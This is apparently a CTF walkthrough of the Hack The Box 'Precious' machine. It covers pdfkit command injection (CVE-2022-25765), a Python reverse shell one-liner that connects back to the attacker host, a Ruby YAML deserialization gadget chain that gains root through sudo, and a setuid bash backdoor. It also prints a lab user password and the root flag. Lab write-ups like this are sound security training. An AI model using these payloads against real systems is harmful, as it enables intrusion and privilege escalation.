Machine Info

Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.

Host / IP

10.10.11.189 / PRECIOUS.HTB. We add the record to our /etc/hosts.

User

Reconnaissance

We are going to start by running our nmap scan:

└─$ nmap -p- --min-rate 10000 10.10.11.189
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 05:39 EDT
Warning: 10.10.11.189 giving up on port because retransmission cap hit (10).
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.12s latency).
Not shown: 47774 filtered tcp ports (no-response), 17759 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 66.77 seconds

We see a web port open and SSH one. Let’s visit the web page.

Website

We see that we can supply a URL ourselfs. Trying different tests. Putting localhost like http://127.0.0.1 returned an error. Same for URLs like file:///etc/passwd.

Next we will start a listener python -m http.server and put our attack IP to see if goes through.

It worked! And it basically created a PDF which let’s us directory list the contents that our python web server exposes. Next we will try to analyze the requests and the PDF to find out more about the tech stack used.

Info
It’s best to focus on finding the stack of the application as it is focused on that. So we are gonna use exiftool to see our PDF.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
└─$ exiftool ../Downloads/ypxqxesrs369o3epnks6bpa9dswlsuul.pdf 
ExifTool Version Number         : 12.76
File Name                       : ypxqxesrs369o3epnks6bpa9dswlsuul.pdf
Directory                       : ../Downloads
File Size                       : 22 kB
File Modification Date/Time     : 2025:10:18 05:45:42-04:00
File Access Date/Time           : 2025:10:18 05:45:42-04:00
File Inode Change Date/Time     : 2025:10:18 05:45:42-04:00
File Permissions                : -rw-rw-r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

pdfkit v0.8.6

We found tons of articles online about CVE-2022-25765.

Info
PDFKit could allow a remote attacker to execute arbitrary commands on the system, caused by improper URL validation. By sending a specially-crafted request, an attacker could exploit this vulnerability to execute arbitrary commands on the system. Article

CVE-2022-25765 POC

http://10.10.X.X/?name=%20'id'

We have confirmed it is vulnerable. Now let’s get a shell.

Shell

For this to work we need:

  • send our payload to the web app
  • start another listener for the incoming shell connection nc -lvnp 4445
1
http://10.10.X.X:4445/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.X.X",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`

User flag

We got a shell as ruby but we cannot get the user flag yet. It’s only readable by user henry. We get his password by easily checking under cat /home/ruby/.bundle/config.

Henry's password
henry:Q3c1AqGHtoI0aXAYFH

Root

1
2
3
4
5
6
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
henry@precious:~$ cat /opt/update_dependencies.rb 
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
Important

This unsafe file inclusion here is really interesting on the update_dependencies.rb script.

1
2
3
def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

This is the point to exploit. In the past there have been many flaws with deserializing YAML payloads which resulted in code execution. With a quick search we find a gist that has yaml code for us to include and achieve code execution.

Tip
If you want to read more about YAML deserialization flaws in Ruby here is a detailed article.

So from the gist we have this code YAML code to test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

We need to run the ruby script on the same location as the dependencies.yml. So we write our code above in /tmp and then we execute the script from there.

1
2
3
4
/tmp$ sudo ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last): ....

Our YAML code above is executing just the id code and we achieved priveleged code execution. We can just grab the flag or achieve a root shell. Let’s do the later. With the code below we copy bash to another location and we make it SetUID and SetGID for root.

Root flag

dependencies.yml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: cp /bin/bash /tmp/p4n4; chmod 6777 /tmp/p4n4
         method_id: :resolve

So let’s run it:

1
2
3
4
5
6
7
8
9
sudo ruby /opt/update_dependencies.rb 
....

/tmp/p4n4 -p
p4n4-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)

p4n4-5.1# cat /root/root.txt 
a9e60ebfbc6a00118af264080de3a4b7
Why Bash is root?

The command above gave the executable 6777 set of permissions. So basically it set the SetUID and SetGID bites on. So it sets:

  • setuid bit → run as file owner (in this case root, if root copied it)
  • setgid bit → run with the file’s group ID
  • rwx for everyone → anyone can execute it

/tmp/p4n4 is owned by root. So by executing with -p gives a shell with effective UID and GID as root.